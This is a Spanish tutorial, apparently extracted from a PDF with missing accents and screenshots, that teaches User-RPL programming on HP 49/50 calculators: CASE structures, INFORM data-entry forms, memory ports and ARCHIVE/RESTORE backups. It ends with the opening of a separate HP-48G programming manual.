7. Observa que los retornos de carro desaparecen al cargar el programa en
la pila, pero si pulsas [H] para acceder al editor, obtendrs la siguiente
presentacin.
Pulsa [ENTER] para regresar a la pila y guarda el programa con el
nombre F. Pulsa [VAR], carga el valor 4 en la pila y pulsa [F1] para
ejecutar F,
obtendrs:
Francisco Palacios Programacin en User-RPL. 49
Entra ahora el valor 3 y ejecuta F, ahora el resultado es
Verica que este valor es el correspondiente a seno de 3 radianes.
Actividad 5.2 Dene y representa la siguiente funcin
g(x) =

cos x si x 0,
1 x
2
si x > 0.
Verica que funciona correctamente con los valores de prueba x = 0.25
rad y x = 1.25.
Actividad 5.3 Modica la funcin anterior para que je el modo angular
en radianes antes de realizar la evaluacin.
5.2 Estructura CASE
La estructura CASE permite gestionar ms de dos alternativas, la sintaxis
de la estructura CASE es
<< . . .
CASE
condicin 1 THEN acciones para condicin 1 cierta END
condicin 2 THEN acciones para condicin 2 cierta END
.
.
.
.
.
.
condicin n THEN acciones para condicin n cierta END
acciones por defecto
END . . .
>>
Francisco Palacios Programacin en User-RPL. 50
La estructura CASE permite denir n condiciones. Si la condicin
j es cierta, se ejecutan las acciones comprendidas entre el THEN que
sigue a la condicin y el prximo END. Despus la ejecucin continua
despus del END que cierra la estructura CASE. Las condiciones se
evalan de arriba a abajo.
Despus del END correspondiente a la ltima condicin puede denirse
una serie de acciones por defecto, que se ejecutarn si ninguna de las
condiciones es cierta.
Como ejemplo, vamos a denir la siguiente funcin:
g(x) =

1 si x ,
cos(x) si < x 0,
1 si 0 < x 2,
5 x
2
si 2 < x.
Actividad 5.4 Realiza los siguientes pasos. Fija el modo angular en radia-
nes y entra en el directorio DRP6.
1. Escribe los delimitadores de programa y el inicio de una estructura de
variable local.
2. Pulsa [PRG][BRCH][CASE] y pulsa [F1] para escribir la palabra clave
CASE.
3. Entra un retorno de carro y escribe la primera condicin, pulsa [F2]
para escribir THEN, a continuacin, escribe las acciones correspon-
dientes y END.
Francisco Palacios Programacin en User-RPL. 51
4. Para escribir la condicin 2, dado que la evaluacin de condiciones es
secuencial empezando por la primera basta con que exijas x 0.
5. Escribe la lnea correspondiente a la condicin 3.
6. Si no se ha cumplido ninguna de las condiciones anteriores, esto es,
para x > 2, la funcin debe asignar el valor 5x
2
, incluimos la frmula
como accin por omisin y cerramos la estructura CASE con un END
nal.
7. De forma anloga a como hicimos en la actividad anterior, escribimos
el comando NUM
Francisco Palacios Programacin en User-RPL. 52
que se ejecutar despus de salir de la estructura CASE, provocan-
do la evaluacin de la expresin algebraica cargada en la pila. Pulsa
[ENTER] para cargar el programa en la pila
y gurdalo con el nombre G.
8. Puedes vericar con diferentes valores el buen funcionamiento de G,
si entras en la aplicacin de representacin de funciones y escribes
obtendrs la siguiente representacin grca:
Francisco Palacios Programacin en User-RPL. 53
Actividad 5.5 Escribe un programa que permita calcular la siguiente fun-
cin
g(x) =

2 si x 1,
x 1 si 1 < x 0,
x
2
1 si 0 < x 2,
1 si 2 < x.
Actividad 5.6 Realiza manualmente un esquema del grco de la funcin
g denida en la actividad anterior. Representa la funcin con la calculadora
y compara el resultado con tu grco.
5.3 Soluciones de las actividades
Actividad 5.2
Programa Accin
<< Abre programa.
X Dene X como variable local.
<< Inicia programa asociado a variable local.
IF X 0 Inicia estructura condicional IF.
THEN cos(x) Expresin del caso armativo.
ELSE 1-x^2 Expresin en el caso negativo.
END Final estructura condcional.
NUM Evala la expresin cargada por IF.
>> Cierra estructura de variable local.
>> Cierra programa.
El grco de la funcin es el siguiente:
Actividad 5.3
Simplemente debes escribir RAD delante de NUM.
Actividad 5.5
Francisco Palacios Programacin en User-RPL. 54
Programa Accin
<< Abre programa.
X Dene X como variable local.
<< Inicia programa asociado a variable local.
CASE Inicia estructura condicional CASE
X 1 THEN -2 END Primer caso.
X0 THEN X-1 END Segundo caso.
X2 THEN X^2-1 END Tercer caso.
1 Accin por omisin.
END Final estructura condcional CASE.
NUM Evala la expresin cargada por CASE.
>> Cierra estructura de variable local.
>> Cierra programa.
Actividad 5.6
La representacin grca en el intervalo x [3, 3] tiene el siguiente aspec-
to:
Observa la discontinuidad de salto en x = 2.
6 Formularios de entrada de datos
6.1 Formularios de entrada de datos
Cuando los datos son simples, la mejor estrategia de entrada de datos para
nuestros programas consiste en que el programa tome los datos directamente
de la pila. En este caso basta con escribir un simple diagrama de pila para
describir la forma de funcionamiento del programa. Cuando los datos de
entrada son complejos, los formularios de entrada de datos son un excelente
recurso.
Pulsa [7] para acceder al men [N.SLV] que contiene los recursos de reso-
lucin numrica de ecuaciones.
Francisco Palacios Programacin en User-RPL. 55
Pulsa [ENTER] para aceptar la opcin Solve equation, obtendrs el siguiente
formulario.
Observa los siguientes elementos:
Ttulo
Campo de datos
Etiqueta de campo
Informacin acerca del campo
Un formulario contiene:
Un ttulo principal, en el ejemplo es SOLVE EQUATION.
Uno o ms campos de entrada de datos.
Delante de cada campo, hay una etiqueta.
Cuando seleccionamos un campo, puede mostrarse informacin de ayu-
da en la base de la pantalla, en el ejemplo vemos la informacin Enter
function to solve.
Francisco Palacios Programacin en User-RPL. 56
6.2 Uso simplicado del comando INFORM
El comando INFORM nos permite denir formularios de entrada de da-
tos para nuestros programas. Puedes acceder al comando INFORM en
[PRG][IN] o a travs del catlogo de funciones.
El comando INFORM toma como entrada 5 objetos:
Nivel 5: Ttulo del formulario, debe ser un string.
Nivel 4: {campo1, campo2,. . .}, lista de especicaciones de campos.
Nivel 3: {formato}, lista de especicaciones de formato, puede ser una
lista vaca.
Nivel 2: {lista de valores de reset}, puede ser una lista vaca.
Nivel 1: {lista de valores iniciales}, puede ser vaca.
A partir de la informacin proporcionada por estos 5 objetos, la calculadora
construye el formulario de entrada de datos y suspende la ejecucin del
programa hasta que pulsemos [OK] o [CANCEL].
Si el usuario llena el formulario y pulsa [OK], se obtiene:
Nivel 2: Una lista de los valores entrados en los distintos campos del
formulario.
Nivel 1: El valor 1, que indica el usuario ha salido del formulario
pulsando [OK].
Si el usuario cancela el formulario, se obtiene:
Nivel 1: El valor 0, que indica que el usuario no ha rellenado el for-
mulario.
Aunque en principio puede parecer complejo, en la prctica es bastante
sencillo usar el comando INFORM. Como primer ejemplo vamos a construir
un formulario con el ttulo PRUEBA y tres campos de entrada con etiquetas
A, B y C.
Francisco Palacios Programacin en User-RPL. 57
Actividad 6.1 Crea un subdirectorio de HOME con el nombre DRP7, en-
tra en DRP7 y realiza los siguientes pasos:
1. Escribe los delimitadores de programa y un string con el ttulo del
formulario.
2. Pulsa
12
[] para entrar un retorno de carro y escribe la lista con
las etiquetas de los campos.
Observa que las etiquetas son strings y que, por lo tanto, deben
ir entre comillas dobles.
3. Entra tres listas vacas, correspondientes a las especicaciones de
formato, valores de reset y valores por defecto.
Eso completa el grupo de 5 objetos necesarios para ejecutar IN-
FORM.
4. Accede a [PRG][IN] y entra el comando INFORM.
12
Tecla (10,3).
Francisco Palacios Programacin en User-RPL. 58
5. Pulsa [ENTER] para cargar el programa en la pila y gurdalo con
el nombre P1.
6. Accede al rea de variables y pulsa [F1] para ejecutar el progra-
ma.
Como resultado, la calculadora construir el formulario de entra-
da que acabas de disear
Observa el ttulo, las etiquetas de campo y las opciones [CANCL]
y [OK].
7. Entra los valores A = 1 y B = 3, deja en blanco el campo C.
Francisco Palacios Programacin en User-RPL. 59
8. Para salir del formulario, pulsa [ENTER] o [F6] para ejecutar
[OK], obtendrs
El valor 1 del Nivel 1 de la pila, indica que el usuario ha relle-
nado el formulario; la lista del Nivel 2 contiene los valores de
los campos. Observa que el valor correspondiente al campo C es
NOVAL, esto es debido a que hemos dejado el campo vaco.
Actividad 6.2 Ejecuta el programa P1 y, cuando aparezca el formulario,
pulsa [F5] para ejecutar [CANCEL]. Observa que, como resultado, obtienes
el valor 0 en el Nivel 1 de la pila. Esto indica que el usuario ha cancelado
el formulario.
Actividad 6.3 Vamos a entrar valores por omisin al formulario del pro-
grama P1. Realiza los siguientes pasos:
1. Pulsa [F1] para recuperar el contenido de P1 y [H] para activar el
editor. Segn se ha indicado anteriormente, la tercera lista vaca
sirve para especicar los valores iniciales.
Francisco Palacios Programacin en User-RPL. 60
2. Escribe tres ceros en esa lista.
Esto indica que los tres campos deben tomar, inicialmente, el valor 0.
3. Pulsa [ENTER] para salir del editor y cargar el programa en la pila y
[P1] para guardar en P1 la nueva versin. A continuacin, ejecuta
P1, obtendrs
6.3 Un ejemplo de aplicacin
Como ejemplo, vamos a escribir un programa que calcule el rea de un
trapecio
H
X
Y
A =
X +Y
2
H
y que tenga como entrada un formulario. Podemos realizar el programa de
varias maneras, optaremos por una solucin mixta, esto es, crearemos una
funcin con el nombre A que tome de la pila los valores X,Y y H y que
devuelva el valor del rea debidamente etiquetada. Despus crearemos un
programa que genere un formulario y que ejecute la funcin A, de esta forma
puedes calcular el rea de forma directa y a travs del formulario.
Actividad 6.4 Realiza los siguientes pasos:
1. En primer lugar, crea un subdirectorio de HOME con el nombre DRP8,
y entra en l.
Francisco Palacios Programacin en User-RPL. 61
2. Escribe la funcin que calcula el rea en el editor de ecuaciones.
Recuerda que para que aparezcan las comas dentro del parntesis debes
entrar un espacio
13
.
3. Pulsa [ENTER] para cargar la frmula en la pila
y pulsa [2] para ejecutar el comando DEFINE, obtendrs:
4. Pulsa [F1] para recuperar el contenido de A,
13
Tecla (10,4).
Francisco Palacios Programacin en User-RPL. 62
pulsa [H] para activar el editor.
Aade el comando NUM, para forzar la evaluacin numrica, el
string AREA y el comando
14
TAG para generar la etiqueta del
resultado.
5. Pulsa [ENTER] para salir del editor y cargar el programa en la pi-
la.
14
Recuerda que puedes obtener TAG en [PRG][TYPE].
Francisco Palacios Programacin en User-RPL. 63
Pulsa [A] para guardar la nueva versin del programa con el nombre
A.
6. Vamos a vericar el funcionamiento de A con los siguientes valores
de prueba
X Y H A
12.1 4.7 5.8 48.72
Recuerda que para una estructura de variable local como la empleada
el diagrama de pila es
Funcin A
Datos Resultado
Nivel 3 X
Nivel 2 Y
Nivel 1 H Nivel 1 A
Carga los valores de prueba en la pila
y pulsa [F1] para ejecutar A, obtendrs:
Francisco Palacios Programacin en User-RPL. 64
7. Ahora, vamos a generar un programa que permita entrar los datos
usando un formulario y, despus, ejecute la funcin A para calcular
el rea. Escribe los delimitadores de programa y los cinco objetos que
denen el formulario.
Accede a [PRG][IN] y escribe el comando INFORM.
8. Vamos a vericar el funcionamiento del formulario. Pulsa [ENTER]
para salir del editor, escribe el nombre ATRAP (Area del TRAPecio)
y pulsa [STO].
Pulsa [F1] para ejecutar ATRAP, obtendrs
Francisco Palacios Programacin en User-RPL. 65
Pulsa [CANCEL] y borra la pila.
9. Ahora nos queda por realizar la parte nueva, que consiste en tomar los
valores que nos devuelve INFORM, cargarlos en la pila y ejecutar A
para calcular el rea. Pulsa [ATRAP] para cargar el programa en la
pila y [H] para activar el editor
10. En esta primera versin no tendremos en cuenta si el usuario ha can-
celado el formulario de entrada, escribe el comando
15
DROP
para borrar el valor 0 1 del nivel 1 que resulta despus de ejecutarse
INFORM.
11. A continuacin escribe el comando EVAL
que romper la lista de valores y cargar su contenido en la pila.
12. Para acabar, simplemente escribe A.
15
Puedes obtener DROP en [PRG][STACK], o en el catlogo de comandos. Tambin
puedes teclearlo directamente.
Francisco Palacios Programacin en User-RPL. 66
Como existe un programa con el nombre A en el directorio activo, esto
provocar la ejecucin del programa. No hace falta nada ms.
13. Pulsa [ENTER] para salir del editor y cargar el programa en la pila,
pulsa [ATRAP] para guardar la nueva versin del programa.
14. Vamos a vericar el funcionamiento de ATRAP, pulsa [F1] para eje-
cutar el programa, obtendrs el formulario.
Entra los valores de prueba
Francisco Palacios Programacin en User-RPL. 67
y pulsa [OK] o [ENTER], obtendrs:
Actividad 6.5 La primera versin del programa ATRAP no ha previsto el
caso de que el usuario cancele el formulario de entrado, en este caso en el
Nivel 2 de la pila no habr lista de valores y se producir un error. Vamos
a vericar esta armacin, ejecuta
16
[CLEAR] para limpiar la pila
y pulsa [F1] para ejecutar ATRAP, obtendrs nuevamente el formulario de
entrada.
Cancela el formulario pulsando [CANCEL] o [F5], obtendrs el siguiente
error:
16
Tecla (4,5).
Francisco Palacios Programacin en User-RPL. 68
El error se ha producido como sigue: al cancelar INFORM, se ha devuelto
nicamente un valor 0 que se ha cargado en el nivel 1, el comando DROP
ha borrado el valor 0; entonces, el comando EVAL ha encontrado la pila
vaca y se ha generado el error.
Vamos a modicar el programa ATRAP para que funcione correctamente en
el caso de que el usuario cancele el formulario de entrada de datos. Para ello
vamos a emplear la estructura de ejecucin condicionada IF-THEN-ELSE.
La secuencia de acciones es la siguiente:
1. Tomamos el valor 0 o 1 que resulta de la ejecucin de INFORM y lo
guardamos en la variable local F (ag).
2. Si F toma el valor 1, tendremos una lista de valores en el Nivel 2 de
la pila y debemos ejecutar A para calcular el rea.
3. Si F toma el valor 0, el usuario ha cancelado el formulario y no tenemos
lista de datos, podemos optar por no hacer nada o bien escribir un
mensaje, por ejemplo, CANCELADO.
Actividad 6.6 Realiza los siguientes pasos.
1. Recupera el contenido de ATRAP y activa el editor.
2. Borra los tres ltimos comandos del programa.
3. Crea la estructura de variable local
Francisco Palacios Programacin en User-RPL. 69
seguida de un nuevo par de delimitadores de programa.
Observa que una vez ejecutado INFORM, el valor 0 1 del Nivel 1 de
la pila se guardar en la variable local F.
4. Accede a [PRG][BRCH][IF] y escribe la condicin.
Si el contenido de F es 1, se ejecutar el caso cierto, si F vale 0, se
ejecutar el caso falso.
5. Escribe las acciones para el caso cierto.
Francisco Palacios Programacin en User-RPL. 70
Observa que ahora no necesitas el comando DROP, pues el valor del
Nivel 1 de la pila se ha descargado de la pila al guardarse en la variable
local F.
6. Escribe las acciones para el caso falso, que consistirn en construir un
cuadro de mensaje
17
con el texto CANCELADO.
7. Escribe END para terminar la estructura de ejecucin condicional.
Observa que despus del END debes tener dos delimitadores de pro-
grama, el primero corresponde al subprograma con variable local F y
el segundo cierra el programa principal.
8. Pulsa [ENTER] para salir del editor y cargar el programa en la pila,
pulsa [F1] para guardar la nueva versin con el nombre ATRAP.
17
Puedes encontrar el comando MSGBOX en [PRG][OUT]. En la imgen he introducido
retornos de carro y espacios para hacer el progama ms legible.
Francisco Palacios Programacin en User-RPL. 71
9. Para nalizar vamos a vericar el funcionamiento del programa, eje-
cuta ATRAP y entra los valores de prueba.
Acepta los valores pulsando [ENTER] o [OK], obtendrs:
10. Vuelve a ejecutar ATRAP,
pero esta vez cancela el formulario, obtendrs:
Pulsa [ENTER], [F6] o [CANCEL], entonces se cierra el cuadro de
dilogo y el programa naliza sin error.
Francisco Palacios Programacin en User-RPL. 72
Actividad 6.7 Modica el formulario de entrada del programa ATRAP
para que asigne valores iniciales X = 0, Y = 0, H = 0.
Actividad 6.8 Crea un subdirectorio de HOME con el nombre DRP9. En
ese directorio crea las funciones A y L que calculan el rea y permetro de
un crculo a partir del radio
L = 2R, A = R
2
y devuelven los resultado debidamente etiquetados. Una vez vericado el
buen funcionamiento de las funciones A y L, construye el programa APC
(Area y Permetro del Crculo) que permite entrar el radio desde un formu-
lario de entrada de datos y ejecutar las dos funciones A y L.
6.4 Uso avanzado del comando INFORM
En esta seccin veremos como denir los valores de reset, las especicaciones
de formato y los formatos de campo.
6.4.1 Valores de reset
Los valores de reset estn denidos por la lista que ocupa el Nivel 2 en la
entrada de INFORM. Si la lista no est vaca debe contener tantos valores
como campos.
Vamos a modicar el programa ATRAP aadiendo los valores de reset.
Actividad 6.9 Realiza los siguientes pasos:
1. Accede al directorio DRP8
y pulsa [F1] para recuperar el programa, pulsa [H] para activar el
editor.
Francisco Palacios Programacin en User-RPL. 73
La lista marcada es la del Nivel 1, y contiene los valores iniciales. Si
tienes una lista vaca, entra tres ceros.
2. La lista del Nivel 2
contiene los valores de reset, entra tres ceros tambin en esa lista.
3. Pulsa [ENTER] para cargar el programa en la pila
y pulsa [F1] para guardar la nueva versin con el nombre ATRAP.
4. Pulsa [F1] para ejecutar ATRAP, obtendrs
Francisco Palacios Programacin en User-RPL. 74
Completa el formulario como sigue
5. Pulsa la tecla [NEXT] para acceder a la segunda pgina de men del
formulario
y pulsa [F1] para ejecutar la opcin [RESET], obtendrs el siguiente
cuadro de dilogo
Si aceptas la opcin Reset value, el campo seleccionado, en este caso
el campo X, tomar el valor de reset denido en la lista de valores
de reset. Si aceptas la opcin Reset all, todos los campos tomarn el
valor por defecto denido en la lista de valores de reset. Pulsa [OK]
para aceptar Reset value, obtendrs
Francisco Palacios Programacin en User-RPL. 75
Pulsa [NEXT], para volver a la primer pgina del men del formula-
rio
6. Entra el valor 3.45 en el campo X,
y acepta los valores, resulta
6.4.2 Especicaciones de formato
Las especicaciones de formato permiten estructurar la presentacin de los
campos y las etiquetas en el formulario. Las especicaciones de formato son
el objeto de Nivel 3 en la entrada de INFORM y pueden tener una de las
formas siguientes:
Una lista vaca { }.
Una lista con el nmero de columnas: {NUM_COL}.
Una lista con un par de nmeros {NUM_COL TAB}, donde NUM_COL
es el nmero de columnas y TAB es el nmero de espacios reservado
para las etiquetas de campo, si no se especica nada, INFORM toma
los siguientes valores:
Francisco Palacios Programacin en User-RPL. 76
NUM_COL = 1 (1 columna).
TAB = 3 (tres espacios reservados para las etiquetas).
Actividad 6.10 Recupera el programa ATRAP y modica la lista de espe-
cicaciones de formato de manera que el formulario tenga dos columnas de
campos, esto es, debes sustituir la lista vaca del Nivel 3
por {2}.
Guarda la nueva versin del programa y ejectala, el formulario de entrada
de datos tendr ahora el siguiente aspecto
Actividad 6.11 En esta actividad, vamos a ver el funcionamiento del pa-
rmetro TAB.
1. Recupera el programa ATRAP y establece el formato de una colum-
na
Francisco Palacios Programacin en User-RPL. 77
2. Cambia el nombre de tercer campo por ALTURA.
Guarda la nueva versin del programa y ejectalo, obtendrs el siguien-
te formulario:
Observa que aparece una sola columna de campos. Por otra parte, la
etiqueta del campo 3 es de longitud 6, eso provoca una mala alineacin
de los campos. Si estableces el valor de tabulacin en 6, los campos
estarn bien alineados.
3. Recupera el programa y modica la lista de especicaciones de formato
como sigue
Francisco Palacios Programacin en User-RPL. 78
Guarda la nueva versin del programa y ejectalo, obtendrs el siguien-
te formulario:
6.4.3 Formatos de campo
Recordemos que el comando INFORM toma como entrada 5 objetos:
Nivel 5: Ttulo del formulario, debe ser un string.
Nivel 4: {campo1, campo2,. . .}, lista de especicaciones de campos.
Nivel 3: {formato}, lista de especicaciones de formato, puede ser una
lista vaca.
Nivel 2: {lista de valores de reset}, puede ser vaca.
Nivel 1: {lista de valores iniciales}, puede ser vaca.
En esta seccin nos ocupamos del objeto del Nivel 4, esto es, de la lista de
especicaciones de campo.
{campo1, campo2, campo3, . . . }.
Hemos visto anteriormente, que en su forma ms simple, la especicacin de
campo est formada por un string que es la etiqueta del campo. En general
un formato de campo puede tener una de las siguientes formas:
etiqueta.
{etiqueta texto de ayuda}.
{etiqueta texto de ayuda tipo1 tipo2 . . . tipok}.
{ }.
Si incluimos un texto de ayuda, ste texto se muestra en la base de la
pantalla cuando seleccionamos el campo. Si especicamos uno o ms cdigos
de tipo, el sistema verica si el objeto entrado se ajusta a los tipos prescritos
Francisco Palacios Programacin en User-RPL. 79
y, en caso contrario, genera un mensaje de error. Algunos de los cdigos de
tipo ms usuales se recogen en la tabla siguiente:
Objeto cdigo de tipo
Nmero real 0
Nmero complejo 1
Cadena de caracteres (string) 2
Matriz real 3
Matriz compleja 4
Lista 5
Nombre global 6
Programa 8
Objeto algebraico 9
Si usamos como especicacin de formato de campo una lista vaca, entonces
el campo anterior en la lista se expande ocupando el espacio correspondiente
al campo con especicacin { }.
Como primera actividad, vamos a ver el uso de texto de ayuda. Tomaremos
como ejemplo de trabajo un formulario de entrada para el clculo del rea
de un tringulo
A =
B H
2
donde

A rea.
B base.
H altura.
Actividad 6.12 Crea un subdirectorio de HOME con el nombre DRP9.
Entra en DRP9 y realiza los siguientes pasos:
1. Entra los delimitadores de programa y escribe el ttulo del formula-
rio
2. A continuacin vamos a entrar las especicaciones de los campos de
entradas de datos, el programa tomar como entrada el valor de la base
y la altura.
Francisco Palacios Programacin en User-RPL. 80
Observa que las especicaciones de los campos es una lista que contiene
dos listas de la forma {etiqueta texto de ayuda}.
3. Completa la entrada de INFORM con una lista vaca para las especi-
caciones de formato del formulario (nmero de columnas y longitud
de tabulacin) y dos listas que asignan valores nulos como valores ini-
ciales y valores de reset.
Entra el comando INFORM y pulsa ENTER para salir del editor;
guarda el programa con el nombre ATRG.
4. Ejecuta el programa, obtendrs el siguiente formulario:
Francisco Palacios Programacin en User-RPL. 81
Observa como aparece el texto de ayuda al seleccionar los campos.
En la siguiente actividad vamos a completar la especicacin de campos
para que slo acepten como valores nmeros reales. En este caso debemos
incluir el cdigo 0 en las especicaciones de campo.
Actividad 6.13 Recupera el programa ATRG y modica las especicacio-
nes de campo como sigue
pulsa ENTER para salir del editor y cargar el programa en la pila.
Pulsa [F1] para guardar la nueva versin del formulario. Ejecuta el pro-
grama y obtendrs:
Francisco Palacios Programacin en User-RPL. 82
Entra el valor 24 para la base
y, a continuacin, intenta entrar un nombre de variable para la altura,
pulsa ENTER y obtendrs el siguiente mensaje de error:
Pulsa [CANCEL] y entra el valor 12 para la altura,
pulsa [OK] para aceptar los valores, obtendrs
Francisco Palacios Programacin en User-RPL. 83
Para terminar, en la siguiente actividad, vamos a completar el programa
ATRG, de forma que proporcione como salida el valor del rea debidamente
etiquetado.
Actividad 6.14 Realiza los siguientes pasos:
1. Escribe la siguiente funcin,
y gurdala con el nombre A en el directorio {HOME DPR9}.
2. Recupera el programa ATRG y compltalo con una estructura de va-
riable local que ejecute A cuando el usuario complete el formulario
y escriba el mensaje CANCELADO cuando el usuario cancele el
formulario. La estructura de variable local se muestra en las dos si-
guientes pantallas. Observa que en la segunda pantalla se repite una
lnea de la primera.
Francisco Palacios Programacin en User-RPL. 84
3. Guarda la nueva versin con el nombre ATRG. Verica el buen fun-
cionamiento del programa.
7 Gestin de la memoria
7.1 Organizacin de la Memoria de la calculadora
La memoria de la calculadora est organizada en varias reas. Si entras en
la aplicacin [FILES]
puedes observar que hay 4 reas de memoria, que se denominan HOME,
Puerto 0, Puerto 1 y Puerto 2. Si tienes una HP49G+ o una HP50g, y has
insertado una tarjeta SD, aparecer adems un Puerto 3, que corresponde
a la tarjeta SD.
En la zona HOME se guardan las variables de usuario y puede orga-
nizarse en directorios.
El Puerto 0 comparte la misma zona de memoria que HOME, en total
unos 240 Kb. Si guardas objetos en el Puerto 0, pierdes espacio para
HOME.
El Puerto 1 tiene un tamao de unos 250 Kb, es independiente de
HOME.
El Puerto 2 es una memoria de tipo ash y se mantiene aunque falle
la alimentacin. Tiene un tamao aproximado de 1Mb en la Hp49G y
de unos 800 Kb en la Hp49G+.
Francisco Palacios Programacin en User-RPL. 85
Debes tener en cuenta que los Puertos 0 y 1 son de acceso rpido, pero
su contenido puede perderse si falla la alimentacin; por el contrario, el
contenido del Puerto 2 se mantiene aunque retires las bateras.
Actividad 7.1 Accede al File Manager y observa la memoria disponible en
HOME/Puerto 0. En el emulador que estoy usando se obtiene
En este caso, dispongo de 239Kb libres para guardar objetos en el rea HO-
ME/Puerto 0.
Actividad 7.2 Accede al editor de matrices y carga en la pila la siguiente
matriz.
Gurdala en la variable A. Accede al File Manager
y pulsa [F6] para entrar en la zona de memoria de HOME. Observa la
variable A.
Francisco Palacios Programacin en User-RPL. 86
Si pulsas [F1] puedes editar directamente la matriz en el editor de lnea.
Cambia, por ejemplo, el primer 1 por un 20
y pulsa [ENTER] para salir del editor. Pulsa nuevamente [ENTER] para
salir del File Manager. Si recuperas el contenido de A,
vers que se ha modicado el contenido de la matriz.
Para guardar un objeto en un puerto, puedes usar el la opcin COPY o
MOVE de la aplicacin File Manager. Tambin puedes guardar el objeto
directamente con el comando STO anteponiendo :num puerto: al nombre
del objeto.
Francisco Palacios Programacin en User-RPL. 87
Actividad 7.3 Accede al File Manager y selecciona la matriz A que has
creado en la actividad anterior.
Pulsa [F2] para ejecutar [COPY], aparecer la siguiente pantalla,
que te pide que selecciones un destino para la copia. Selecciona el Puerto 1
y pulsa [OK] o [ENTER], volvers a la vista HOME.
Pula [F6] para acceder al rbol de zonas de memoria y selecciona el Puer-
to 1.
Francisco Palacios Programacin en User-RPL. 88
Pulsa [ENTER] o [OK] y acceders a la vista del contenido del Puerto 1,
donde encontrars la variable A que acabas de copiar. Pulsa [F1] para eje-
cutar la opcin [VIEW] e inspeccionar el contenido de la variable.
Pulsa [F6] para ejecutar [OK] y volver a la vista del contenido del Puer-
to 1. Si pulsas la tecla [NEXT] para ver las diferentes pginas de men,
obtendrs
Pulsando nuevamente [NEXT], obtienes
Francisco Palacios Programacin en User-RPL. 89
Observa que la opcin EDIT no aparece en los mens de herramientas de
los Puertos. En cambio, s que aparece la opcin [EDITB], si la pulsas
obtendrs el siguiente mensaje:
que te avisa de que los cambios que realices no se guardarn. Pulsa [OK] y
cambia valor del elemento a
11
de 20 a 50.
Pulsa [ENTER] para salir del editor.
Ejecuta [VIEW] y observa que, en efecto, los cambios no se han guardado.
Francisco Palacios Programacin en User-RPL. 90
7.2 Acceso a los objetos de los puertos
Para acceder a un objeto de un puerto, basta con especicar el puerto delante
del nombre as, por ejemplo, el nombre :2:A1 corresponde a la variable A1
del puerto 2.
Actividad 7.4 Vamos a recuperar la variable A del Puerto 1. Pulsa []
para entrar las marcas que delimitan el identicador de puerto, escribe el
nmero de puerto
y, a continuacin, el nombre de la variable.
Pulsa [ENTER] para cargar el nombre en la pila. Los nombres de variables
de puerto no se evalan automticamente al cargarse en la pila, pulsa EVAL
y obtendrs:
Francisco Palacios Programacin en User-RPL. 91
Tambin puedes ejecutar una programa almacenada en un puerto. En la
siguiente actividad, vamos a crear un programa, almacenarlo en el Puerto 2
y, despus, lo ejecutaremos desde la pila.
Actividad 7.5 Realiza los siguientes pasos.
1. Escribe el siguiente programa:
El programa toma el valor del radio de la pila, lo guarda en la variable
local X y devuelve el valor del rea del crculo de radio X debidamente
etiquetado.
2. Escribe el nombre :2:CIR.
y pulsa STO para guardar el programa en el Puerto 2 con el nombre
CIR.
3. Accede al File Manager y verica que el programa se ha guardado
correctamente.
Francisco Palacios Programacin en User-RPL. 92
4. Hemos comentado anteriormente que no puedes editar un objeto guar-
dado en los puertos, pero s puedes acceder a su contenido y, si es un
programa, ejecutarlo. Accede a la pila y carga el valor 3 y el nombre
18
:2:CIR
Tal como sucede con las variables, los programas guardados en los
puertos no se evalan automticamente, pulsa [EVAL] para evaluar el
programa, obtendrs:
7.3 Copias de seguridad del sistema
Los comandos ARCHIVE y RESTORE te permiten realizar copias de se-
guridad del contenido de tu calculadora. Supongamos que has realizado un
buen nmero de las actividades propuestas en este tutorial, entonces habrs
creado varios directorios y al pulsar [VAR] aparecer un men con varias
etiquetas de directorio.
18
Observa que cuando cargas :2:ACIR en la pila, los dos puntos iniciales no se muestran.
Francisco Palacios Programacin en User-RPL. 93
Este es un buen momento para hacer limpieza, pero quizs sera recomenda-
ble guardar los programas realizados en lugar de borrarlos. Los comandos
ARCHIVE y RESTORE permiten realizar una copia de seguridad del con-
tenido del rea HOME de la calculadora. Puedes encontrar los comandos
ARCHIVE y RESTORE en la segunda pgina del men [PRG][MEM]
o en el catlogo de comandos.
Si tienes informacin valiosa en tu calculadora, quizs preeras realizar las
actividades de esta seccin con el emulador.
En la siguiente actividad, vamos a guardar una copia de seguridad denomi-
nada SEG1 en el Puerto 2.
Actividad 7.6 Realiza los siguientes pasos:
1. Escribe el nombre del objeto de seguridad.
Francisco Palacios Programacin en User-RPL. 94
Pulsa [ENTER] para cargarlo en la pila y ejecuta el comando ARCHI-
VE.
2. Despus de ejecutar ARCHIVE, accede a la aplicacin File Manager
y observa el contenido del Puerto 2.
Vers que se ha creado el objeto de seguridad SEG1.
3. Accede al File Manager y entra en HOME.
Francisco Palacios Programacin en User-RPL. 95
Pulsa reiteradamente [ENTER] para marcar todos los objetos y direc-
torios de HOME excepto el directorio CASDIR.
Pulsa [NEXT] para acceder a la segunda pgina del men del File
Manager
y pulsa [F1] para ejecutar [PURGE], obtendrs la siguiente panta-
lla:
Pulsa [F2] para ejecutar la opcin [ALL], obtendrs:
Francisco Palacios Programacin en User-RPL. 96
Es decir, acabas de borrar todo el contenido de HOME excepto el di-
rectorio CASDIR.
4. Pulsa [CANCEL] para salir del File Manager y pulsa [VAR], obten-
drs:
que te conrma que has borrado todo el contenido de HOME.
5. Escribe el nombre del objeto de seguridad
y ejecuta el comando RESTORE.
Francisco Palacios Programacin en User-RPL. 97
Vers como se reinicia el sistema, pulsa [VAR] para acceder al rea de
variables y obtendrs:
es decir, se ha recuperado el contenido de HOME guardado en SEG1.
Importante Debes tener en cuenta que la ejecucin de RESTORE
borra todo el contenido actual de HOME.





MANUAL 03

MANUAL DE PROGRAMACION USER RPL
PARA LA CALCULADORA HP-48G
TERCERA PARTE
POR
SEBASTIAN RIVAS
LAS DOS PRIMERAS PARTES DEL MANUAL HABLARON DE TEMAS MUY
IMPORTANTES, Y LA VERDAD ES QUE ME CUESTA UN POCO PENSAR QUE HAREMOS
EN ESTA PARTE, ADEMAS DE UNOS EXCELENTES PROGRAMAS CON LO QUE SE
SUPONE YA SABEMOS :-).
EMPEZAR EL MANUAL HACIENDO ALGO QUE NUNCA VI EN UN MANUAL DE
PROGRAMACIN, PERO QUE SIEMPRE QUISE VER. VOY A EXPLICAR
COMPLETAMENTE EL CDIGO DE LOS PROGRAMAS QUE HACIAN QUE UN PUNTO
REBOTARA POR TODA LA PANTALLA COMO UNA PELOTA. LUEGO HABLAREMOS DE
